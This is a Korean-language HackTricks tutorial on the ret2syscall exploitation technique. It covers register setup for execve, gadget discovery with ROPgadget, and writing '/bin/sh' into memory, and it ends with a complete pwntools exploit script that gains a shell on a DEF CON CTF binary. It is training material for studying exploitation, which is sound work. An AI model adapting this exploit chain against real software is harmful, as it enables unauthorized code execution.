Ret2syscall
Reading time: 5 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
Basic Information
이것은 Ret2lib와 유사하지만, 이 경우에는 라이브러리의 함수를 호출하지 않습니다. 이 경우, 모든 것이 /bin/sh
를 실행하기 위해 sys_execve
시스템 호출을 호출하도록 준비됩니다. 이 기술은 일반적으로 정적으로 컴파일된 바이너리에서 수행되므로, 많은 가젯과 시스템 호출 명령어가 있을 수 있습니다.
syscall 호출을 준비하기 위해서는 다음과 같은 구성이 필요합니다:
rax: 59 sys_execve 지정
rdi: "/bin/sh"에 대한 포인터, 실행할 파일 지정
rsi: 0, 전달된 인수 없음 지정
rdx: 0, 전달된 환경 변수 없음 지정
따라서 기본적으로 문자열 /bin/sh
를 어딘가에 작성한 다음 syscall
을 수행해야 합니다 (스택을 제어하기 위해 필요한 패딩을 염두에 두어야 합니다). 이를 위해, /bin/sh
를 알려진 영역에 쓰기 위한 가젯이 필요합니다.
tip
호출할 또 다른 흥미로운 시스템 호출은 **mprotect
**로, 이는 공격자가 메모리의 페이지 권한을 수정할 수 있게 해줍니다. 이는 ret2shellcode와 결합될 수 있습니다.
Register gadgets
이 레지스터들을 제어하는 방법을 찾는 것부터 시작합시다:
ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
0x0000000000415664 : pop rax ; ret
0x0000000000400686 : pop rdi ; ret
0x00000000004101f3 : pop rsi ; ret
0x00000000004498b5 : pop rdx ; ret
이 주소들을 사용하면 스택의 내용을 작성하고 레지스터에 로드할 수 있습니다.
문자열 작성
쓰기 가능한 메모리
먼저 메모리에서 쓰기 가능한 장소를 찾아야 합니다.
gef> vmmap
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
0x0000000000400000 0x00000000004b6000 0x0000000000000000 r-x /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap]
메모리에 문자열 쓰기
그런 다음 이 주소에 임의의 내용을 쓸 수 있는 방법을 찾아야 합니다.
ROPgadget --binary speedrun-001 | grep " : mov qword ptr \["
mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx
ROP 체인 자동화
다음 명령은 쓰기-무엇-어디에 가젯과 시스템 호출 명령이 있을 때 정적 바이너리를 기반으로 전체 sys_execve
ROP 체인을 생성합니다:
ROPgadget --binary vuln --ropchain
32 비트
'''
Lets write "/bin/sh" to 0x6b6000
pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''
rop += popRdx # place value into EAX
rop += "/bin" # 4 bytes at a time
rop += popRax # place value into edx
rop += p32(0x6b6000) # Writable memory
rop += writeGadget #Address to: mov qword ptr [rax], rdx
rop += popRdx
rop += "//sh"
rop += popRax
rop += p32(0x6b6000 + 4)
rop += writeGadget
64 비트
'''
Lets write "/bin/sh" to 0x6b6000
pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''
rop = ''
rop += popRdx
rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
rop += popRax
rop += p64(0x6b6000) # Writable memory
rop += writeGadget #Address to: mov qword ptr [rax], rdx
부족한 가젯
만약 가젯이 부족하다면, 예를 들어 메모리에 /bin/sh
를 쓰기 위해, 스택에서 모든 레지스터 값을 제어하기 위해 SROP 기법을 사용할 수 있습니다 (RIP 및 파라미터 레지스터 포함):
SROP - Sigreturn-Oriented Programming
익스플로잇 예제
from pwn import *
target = process('./speedrun-001')
#gdb.attach(target, gdbscript = 'b *0x400bad')
# Establish our ROP Gadgets
popRax = p64(0x415664)
popRdi = p64(0x400686)
popRsi = p64(0x4101f3)
popRdx = p64(0x4498b5)
# 0x000000000048d251 : mov qword ptr [rax], rdx ; ret
writeGadget = p64(0x48d251)
# Our syscall gadget
syscall = p64(0x40129c)
'''
Here is the assembly equivalent for these blocks
write "/bin/sh" to 0x6b6000
pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''
rop = ''
rop += popRdx
rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
rop += popRax
rop += p64(0x6b6000)
rop += writeGadget
'''
Prep the four registers with their arguments, and make the syscall
pop rax, 0x3b
pop rdi, 0x6b6000
pop rsi, 0x0
pop rdx, 0x0
syscall
'''
rop += popRax
rop += p64(0x3b)
rop += popRdi
rop += p64(0x6b6000)
rop += popRsi
rop += p64(0)
rop += popRdx
rop += p64(0)
rop += syscall
# Add the padding to the saved return address
payload = "0"*0x408 + rop
# Send the payload, drop to an interactive shell to use our new shell
target.sendline(payload)
target.interactive()
다른 예제 및 참고자료
- https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html
- 64비트, PIE 없음, nx, 메모리에
execve
를 호출하고 그곳으로 점프하는 ROP를 작성합니다. - https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html
- 64비트, nx, PIE 없음, 메모리에
execve
를 호출하고 그곳으로 점프하는 ROP를 작성합니다. 스택에 수학 연산을 수행하는 함수를 작성하기 위해 악용됩니다. - https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html
- 64비트, PIE 없음, nx, BF 카나리, 메모리에
execve
를 호출하고 그곳으로 점프하는 ROP를 작성합니다.
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.